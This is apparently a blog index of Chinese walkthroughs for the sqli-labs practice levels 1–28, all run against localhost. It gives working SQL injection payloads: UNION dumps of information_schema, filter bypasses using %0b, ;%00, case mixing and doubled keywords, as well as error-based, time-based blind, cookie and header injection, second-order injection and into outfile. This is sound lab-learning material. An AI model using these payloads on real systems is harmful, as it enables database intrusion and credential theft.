sqli-labs
文章平均质量分 51
sqli-labs 每一关步骤详解
Monster1m
这个作者很懒,什么都没留下…
展开
-
less 28 get-error based -all your union&select belong to us -string -single quote with parenthesis
一、这关没有过滤单独的union和select,而是过滤了union+select,试了一下大小写混合也还是能绕过二、注释符用%0b替代,然后试闭合符号,加单引号报错而双引号不报错,然后尝试单引号加一个括号,回显正确,则闭合符号为’)三、判断显示位?id=100')%0BuNiOn%0BSeLect%0B1,2,3;%00四、爆数据库?id=100')%0BuNiOn%0BSeLect%0B1,(select%0Bgroup_concat(schema_name)%0Bfrom%0Binf原创 2021-03-25 19:07:47 · 171 阅读 · 0 评论 -
sqli-labs less27-a get -blind based -all your union &select belong to us -double quotes
一、这把过滤了注释符,空格,union和select二、输入id,有显示位,继续用联合查询。闭合符号的话代码里给id添加了双引号,所以闭合符号就是双引号三、添加注释符来注释查询时后面的语句,因为注释符被过滤,所以用;%00代替?id=1;%00四、判断显示位,过滤了空格用%0b代替,select和union用大小写交替绕过?id=100"%0BuNiOn%0BSeLeCt%0B1,2,3;%00五、爆数据库?id=100"%0BuNiOn%0BSeLeCt%0B1,(SeLeCt原创 2021-03-21 14:04:09 · 167 阅读 · 0 评论 -
26-a GET -Blind based -all your spaces and comments belong to us -string -sinle quotes-parenthesis
一、这一关过滤的是空格、注释符、and和or,源码如下二、闭合符号是(’,源码如下三、注释符被过滤,所以用;%00代替?id=2');%00四、判断显示位,过滤了空格,所以用%0b代替。union之前的id置假不能用-1,因为-符号被过滤,所以选择用一个比较大的数来使前面的查询为假?id=100')%0Bunion%0Bselect%0B1,2,3;%00五、判断数据库。这里的information里存在or,但or是被过滤的,所以用双写绕过?id=100')%0Bunion%0B原创 2021-03-10 21:17:38 · 194 阅读 · 0 评论 -
sqli-labs less 27 GET -Error Based -All your UNION & SELECT Belong to us -String -single quote
一、all your union and select belong to us,过滤了union和select,看源码还过滤了什么,还是之前的空格和注释符这些二、加上单引号后报错,添加注释符正常,则闭合符号是单引号。这里因为注释符号都被过滤了,所以用;%00代替。三、判断字段数?id=1'%0Border%0Bby%0B4;%00四、判断显示位,这里因为union和select被过滤了,所以使用大写绕过,成功显示显示位?id=100'%0BuNiOn%0BSeLeCt%0B1,2,3;原创 2021-03-07 20:29:54 · 155 阅读 · 0 评论 -
sqli-labs less 26 GET -Error based -All your SPACES and COMMENTS belong to us
一、也是属于他,看看源码这次是什么属于他。从源码看除了过滤了or、and、注释符等,还过滤了空格。网上好多人说因为apache解析的问题,windows下会有无法用特殊字符替换空格的问题,但是我在linux下试了也是有解析不了的问题,不知是我操作不对还是什么。但是!!!windows下也是可以完成这关的,不用费劲再跑去用linux二、网上有好多空格的替代方法,比如以下几个,还有些双空格啊什么的,然后我自己试的话只有%0b和双空格会成功,所以大家可以多试几个替换方法%09 TAB 键(水平)%0a 新原创 2021-02-25 21:39:17 · 178 阅读 · 0 评论 -
sqli-labs less 25-a GET -Blind based -All your OR&AND belong to us -Intiger based
一、输入id,添加单引号后或者双引号后,显示错误页面,说明是整形闭合没有闭合符号,之后也和25关没有什么区别二、举个例子爆数据库?id=-1 union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3三、25链接https://blog.csdn.net/Monster1m/article/details/113739569...原创 2021-02-07 14:40:18 · 120 阅读 · 1 评论 -
sqli-labs less 25 GET -Error based -All your OR&AND belong to us -string single quote
一、打开25,显示所有的or和and都属于他们,凭啥就属于你们了二、在代码里的话就是在这里,我们输入的所有or和and都会被替换成空三、输入id后发现应该有显示位,就用联合查询注入四、输入单引号后报错,加上注释符页面显示正常,则闭合符号就是单引号了五、来判断字段数,输入完order by 4后发现过滤完后只剩了der by 4,因为or被替换成了空,所以想办法绕过这个过滤记好了?id=1' order by 4 --+六、这里在or中间再加一个or,双写绕过嘛,可以看到页面显示正常,原创 2021-02-07 14:09:15 · 170 阅读 · 0 评论 -
sqli-labs less 24 POST -Second Oder injection *Real treat* - Stored injections
一、二次注入,也不晓得在哪注入,看一下源码有八个php文件,我用rips进行了代码审计,虽然和自己一个文件一个文件看没有啥区别但是用这个看起来很nb1、这是审计结果,既然是sql注入,那么只关注检测出来的sql注入漏洞2、这是login.php、login_create.php等文件的检测内容,发现都对username和password用mysql_real_escape_string函数进行了过滤,也不好下手,继续找3、最后找到pass_change.php这个文件的检测内容,发现31行的u原创 2021-02-01 16:26:36 · 156 阅读 · 0 评论 -
sqli-labs less 23 GET -Error based - strip comments
一、输入id,页面正常显示,然后输入单引号报错,添加注释符后还是报错,就让人怀疑多了括号,试了还是没用二、看一下源码1.确实是单引号闭合没有问题,再找一下出错原因2.发现对$id这个变量使用了preg_replace函数。preg_replace 函数执行一个正则表达式的搜索和替换,第一个参数表示要搜索的字符串,第二个参数表示替换的字符串,第三个参数就是搜索或替换的目标。这里就是将#和–这两个注释符替换成了空格。所以我们添加注释符后才会报错,因为没有注释掉或者闭合掉后面的单引号3.现在只要想办原创 2021-01-31 17:27:26 · 134 阅读 · 0 评论 -
sqli-labs less 22 Cookie injection -base64 encoded -single quotes and parenthesis
一、22关与上一关也是基本相同,只不过闭合方式不一样,看一下代码,可以看到这里是用双引号进行闭合二、这里简单举例就好了,具体参考21关,更改闭合方式就好了1.构建爆当前数据库的payloadadmin" and updatexml(1,concat('^',database()),1) and "1"="12.加密后YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoJ14nLGRhdGFiYXNlKCkpLDEpIGFuZCAiMSI9IjE=三、21关链原创 2021-01-26 19:16:55 · 106 阅读 · 0 评论 -
sqli-labs less 21 Cookie injection -base64 encoded -single quotes and parenthesis
一、看不懂题目就先看代码吧1.这几关基本都不用uname和passwd注入了,继续找其他注入点2.在这里发现还是没有过滤cookie和上一关一样,继续看有没有使用到$cookee3.然后发现先对cookee进行了base64编码,这是和上一关不一样的4.在这里查询语句用到了cookee,确定了注入点,并且闭合符号是’)5.输出了数据库错误信息,可以用报错注入。到现在基本上理清了思路和上一关很像,只不过是要对cookee的值进行base64编码二、打开bp开启拦截1.输入用户名密码,都原创 2021-01-26 18:54:39 · 193 阅读 · 0 评论 -
sqli-labs less 20 POST-Cookie injections -Uagent field -error based
一、这关提示用cookie注入,先来看一下源码1.依然还是对uname和passwd使用了check_input函数进行了过滤,所以另寻注入点2.这里看到直接获取了cookie的值没有进行检查过滤,所以继续找有使用到$cookee这个变量的数据库语句3.这里的select查询用到了cookee这个变量,确定了注入点,并且是用单引号进行了闭合4.这里也有输出数据库错误信息,所以可以使用报错注入二、打开bp拦截,因为需要抓cookie,所以需要登录账号,这里用户名密码都用admin1.输入a原创 2021-01-26 17:49:18 · 139 阅读 · 0 评论 -
sqli-labs less 19 POST- Header injections - Referer field -error based
一、提示referer的头注入,和上一关基本一样。先看源码呗1.又对uname和passwd使用了check_input函数进行了过滤,所以只能找其他注入点2.这里对uagent赋值了referer的内容而且没有进行过滤,之后只要找到哪里的数据库语句有用到uagent3.这里发现insert语句用到了uagent,确定注入点,并且是单引号闭合。和上一关一样因为先进行了select查询,所以在注入时必须输入有效的用户名和密码4.这里也有输出数据库错误信息,所以选择用报错注入二、打开bp开启拦原创 2021-01-25 16:45:41 · 122 阅读 · 0 评论 -
sqli-labs less 18 POST- Header injections - Uagent field -error based
一、这关提示头部注入。先来看一下源码1.又出现了check_input函数,说明又开始进行了输入的过滤,先来找找哪些变量用到了这个函数2.这里发现uname和passwd都进行了过滤,所以不能作为注入点,需要找其他没有被过滤的注入点3.$_SERVER是一个包含了头信息、路径等的数组,这里直接赋值了agent没有对数据进行检查,下一步就是要找到有没有数据库语句用到这个uagent变量4.发现这里的插入语句用到了uagent,可以确定在此注入,并且是用单引号闭合5.这里有有输出数据库错误信息原创 2021-01-25 15:45:07 · 205 阅读 · 0 评论 -
sqli-labs less 17 POST -Update Query- Error Based -String
一、这一把好像直接看不出什么,就来分析源码吧1.找到下面两行,发现uname在赋值时使用了一个check_input函数,先来找到这个函数是干什么的2.找到check_input函数,发现是使用了一些函数对输入的值进行检查。所以现在uname被进行了过滤,但是发现passwd没有使用check-input进行检查,所以重点放在passwd上3.然后找到两句数据库语句,发现update语句里有用到passwd,并且是单引号闭合,至此找到了注入点。但是由于先用uname进行了select查询,所以我们原创 2021-01-21 01:13:25 · 155 阅读 · 0 评论 -
sqli-labs less 16 POST -Blind- Boolian/Time Based -Double quotes
一、打开bp拦截,提交表单,send to repeater二、还是没有显示位和错误回显,选择延时注入,构建简单的payload来判断闭合符号,最终为")uname=") and if('1'='1',sleep(5),1)#&passwd=&submit=Submit三、之后的步骤和payload都与15关相同,只是闭合符号不一样注意就好了15链接:https://blog.csdn.net/Monster1m/article/details/112909408...原创 2021-01-20 23:38:55 · 110 阅读 · 0 评论 -
sqli-labs less 15 POST -Blind- Boolian/time Based -Single quotes
一、天才第一步,打开bp开启拦截,打开15关,提交表单,bp查看拦截信息,然后send to repeater二、尝试单引号双引号等发现页面没有错误提示也没有显示位,这里直接使用延时注入,先来构建一个简单的payload来判断闭合方式,发现单引号就成功了uname=' and if('1'='1',sleep(5),1)#&passwd=&submit=Submit三、判断数据库数量uname=' and if((select count(schema_name) from原创 2021-01-20 23:21:04 · 165 阅读 · 0 评论 -
sqli-labs less 14 POST -Double injection -Single quotes -String -with twist
真希望所有的都和这几关一样简单,这一关继续参考12,一模一样,但是这一关的闭合方式为双引号"12链接:https://blog.csdn.net/Monster1m/article/details/112850142原创 2021-01-19 19:58:24 · 95 阅读 · 0 评论 -
sqli-labs less 13 POST -Double injection -Single quotes -String -with twist
13关的话也没有什么特殊的,和十二关的顺序啊payload啊一模一样,不过13关的闭合方式是’),所以直接参考12就好了12链接:https://blog.csdn.net/Monster1m/article/details/112850142原创 2021-01-19 19:52:58 · 124 阅读 · 0 评论 -
sqli-labs less 12 POST -Error Based - Double quotes -String -with twist
一、bp开启拦截,打开十二关点击submit,bp收到拦截的报文二、send to repeater,然后打开repeater模块三、先输入单引号发现页面没错误,然后输入双引号发现有错误信息,可以考虑使用报错注入四、既然双引号报错了,然后添加注释符发现还是报错,再添加一个括号,页面显示正常,则闭合方式为")uname=1")#&passwd=&submit=Submit五、先来判断当前数据库uname=1") and updatexml(1,concat('^',data原创 2021-01-19 19:42:29 · 207 阅读 · 0 评论 -
sqli-labs less 11 POST -Error Based - Single quotes -String
一、这一关开始是post型注入,选择用burp suite代理,开启拦截(intercept is on)二、打开第11关,用bp拦截的话要把url的127.0.0.1改为本机的ip,要不然bp检测不到三、提交表单发现页面开始转圈圈等待,bp也拦截到了报文四、点击action,选择send to repeater,然后打开repeater模块五、开始注入,在uname=后加1’,然后点击go,在右面的response查看返回的界面,发现界面有显示数据库错误信息六、证明有注入点后,判断闭原创 2021-01-19 18:39:33 · 201 阅读 · 0 评论 -
sqli-labs less 10 Get -Blind -Time based -double quotes
第十关的话本来也想一步一步来写,但是和第九关完全一样,只是闭合变成了双引号,懒癌还是劝退了我,所以还是参照第九关就好了,把单引号改为双引号9链接:https://blog.csdn.net/Monster1m/article/details/112623944...原创 2021-01-19 17:52:43 · 85 阅读 · 0 评论 -
sqli-labs less 9 Get -Blind -Time based -Single quotes
一、(先抛去本关的提示来思考怎么解)在输入id以及更换闭合符号后,发现并不会有回显或者报错,然后再输入and 1=2 后,也没有变化。所以最后只能使用延时注入二、构造简单的payload来判断闭合符号,如果闭合正确的话会延迟五秒,闭合不正确则不会有延迟,以此来判断这关是单引号闭合?id=1' and if(length(database())>0,sleep(5),1)--+三、判断数据库数量,判断正确的话会延迟五秒刷新,因为页面没有变化就不截图了http://127.0.0.1/sql原创 2021-01-15 15:26:33 · 178 阅读 · 1 评论 -
sqli-labs less8 Get -Blind -Boolian based -Single quotes
一、输入id,页面正常http://127.0.0.1/sqli-labs-master/Less-8/?id=1二、判断闭合方式以及注入方式1.添加单引号,显示错误页面且无报错信息http://127.0.0.1/sqli-labs-master/Less-8/?id=1'2.添加注释符,页面正常显示,则闭合方式为单引号http://127.0.0.1/sqli-labs-master/Less-8/?id=1'--+3.由于没显示错误信息,所以选择盲注,这关提示用布尔盲注三、判断原创 2021-01-02 16:00:58 · 202 阅读 · 0 评论 -
sqli-labs less 7 Get -Dump into outfile -String
一、输入id,提示 use outfilehttp://127.0.0.1/sqli-labs-master/Less-7/?id=1二、在数据库的配置文件my.ini添加权限secure_file_priv= #代表对文件读写没有限制三、判断闭合方式1.加单引号,报错http://127.0.0.1/sqli-labs-master/Less-7/?id=1'2.加注释符,报错http://127.0.0.1/sqli-labs-master/Less-7/?id=原创 2021-01-02 13:14:47 · 343 阅读 · 0 评论 -
sqli-labs less 6
一、输入id,回显正常127.0.0.1/sqli-labs-master/Less-6/?id=1二、添加双引号,页面报错后,添加注释符,页面正常,则为双引号闭合http://127.0.0.1/sqli-labs-master/Less-6/?id=1"http://127.0.0.1/sqli-labs-master/Less-6/?id=1"--+###以下除闭合方式外与第五关相同三、爆当前数据库http://127.0.0.1/sqli-labs-master/Less-6/原创 2021-01-01 18:41:27 · 148 阅读 · 0 评论 -
sqli-labs less 5
一、输入并改变id,发现只有you are in,没有显示位显示数据,则不能使用联合查询http://127.0.0.1/sqli-labs-master/Less-5/?id=1二、输入单引号,发现有错误信息,选择报错注入http://127.0.0.1/sqli-labs-master/Less-5/?id=1'三、爆当前数据库http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,(concat('^',(dat原创 2021-01-01 18:04:00 · 111 阅读 · 0 评论 -
sqli-labs less4
一、输入id,显示正常http://127.0.0.1/sqli-labs-master/Less-4/?id=1二、判断是闭合方式(因为题目说明了字符注入,则省略判断数字型步骤)1.输入单引号,页面正常http://127.0.0.1/sqli-labs-master/Less-4/?id=1'2.输入双引号,页面报错http://127.0.0.1/sqli-labs-master/Less-4/?id=1"3.由于双引号报错,则在双引号后添加注释符,页面报错http://127原创 2021-01-01 17:39:07 · 144 阅读 · 0 评论 -
sqli-labs less 3
一、输入id,正常显示http://127.0.0.1/sqli-labs-master/Less-3/?id=1二、判断数字型还是字符型。1=1和1=2都显示正常,则说明是字符型注入http://127.0.0.1/sqli-labs-master/Less-3/?id=1 and 1=1http://127.0.0.1/sqli-labs-master/Less-3/?id=1 and 1=2三、判断闭合方式1.尝试单引号,报错http://127.0.0.1/sqli-labs-原创 2021-01-01 17:14:26 · 117 阅读 · 0 评论 -
sqli-labs less 2
一、输入id,正常显示http://127.0.0.1/sqli-labs-master/Less-2/?id=1二、判断数字型还是字符型。1=1正常显示,1=2显示异常,则为数字型注入,不用闭合符号http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=1http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2三、判断字段数http://127.0.0.1/sqli-labs-mast原创 2021-01-01 16:44:17 · 73 阅读 · 0 评论 -
sqli-labs less1
1.进入界面,提示输入id作为参数。提交后正常显示用户名和密码http://127.0.0.1/sqli-labs-master/Less-1/?id=12.在url后分别测试1=1和1=2页面均显示正常,则判断不是数字型注入http://127.0.0.1/sqli-labs-master/Less-1/?id=1 and 1=1http://127.0.0.1/sqli-labs-master/Less-1/?id=1 and 1=23.输入单引号页面报错,说明存在注入htt..原创 2020-12-31 16:33:10 · 113 阅读 · 0 评论